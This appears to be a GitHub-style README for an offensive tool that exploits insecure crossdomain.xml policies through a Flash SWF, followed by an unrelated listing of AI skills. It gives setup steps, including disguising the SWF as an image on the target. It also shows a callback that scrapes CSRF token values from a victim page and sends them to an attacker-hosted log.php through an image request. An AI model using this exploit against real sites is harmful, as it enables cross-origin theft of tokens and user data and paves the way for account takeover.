Crossdomain
Exploit insecure crossdomain.xml files.
Install / Use
/learn @smiegles/CrossdomainREADME
crossdomain
Crossdomain exploiting
How to use this?
In crossdomain.js, edit the following line:
crossdomain.setTarget('http://www.olivierbeg.nl/');
then:
- Upload the crossdomain.swf to the target (you can rename it to crossdomain.png or whatever).
- Upload the crossdomain.js, crossdomain.xml and the index.html to the root of your own server.
- Update the following information:
crossdomain.setTarget('http://www.olivierbeg.nl/');
crossdomain.setFile('crossdomain.swf');
- At
crossdomain.setTargetyou file in the page of which you want the content. - At
crossdomain.setFileyou set the location of the uploaded swf file.
How do I handle the data?
In crossdomain.js there is a callback function, this function receives all the content sent through the flash file that loads the data from the remote website. To exploit it further you can change the crossdomain.callback function to handle the data.
For example:
'callback': function (data) {
console.log(data);
}
Can become something like:
'callback': function (data) {
var response = data.match('csrf value=(.*)>');
if(response != null) {
var img = document.createElement('img');
img.src = 'log.php?response=' + escape(JSON.parse(response));
document.getElementById('dump').appendChild(img);
}
}
Related Skills
node-connect
349.2kDiagnose OpenClaw node connection and pairing failures for Android, iOS, and macOS companion apps
frontend-design
109.5kCreate distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, or applications. Generates creative, polished code that avoids generic AI aesthetics.
openai-whisper-api
349.2kTranscribe audio via OpenAI Audio Transcriptions API (Whisper).
qqbot-media
349.2kQQBot 富媒体收发能力。使用 <qqmedia> 标签,系统根据文件扩展名自动识别类型(图片/语音/视频/文件)。
